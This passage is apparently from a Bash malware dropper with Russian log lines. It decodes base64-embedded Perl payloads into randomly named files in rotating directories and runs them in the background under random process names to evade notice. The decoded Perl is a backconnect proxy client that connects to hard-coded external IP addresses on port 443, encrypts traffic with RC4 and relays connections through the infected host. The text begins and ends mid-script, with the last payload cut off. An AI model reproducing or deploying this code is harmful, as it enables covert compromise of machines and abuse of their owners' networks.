"$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #51 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 52 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNzYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #52 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #52 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 53 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNzcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr 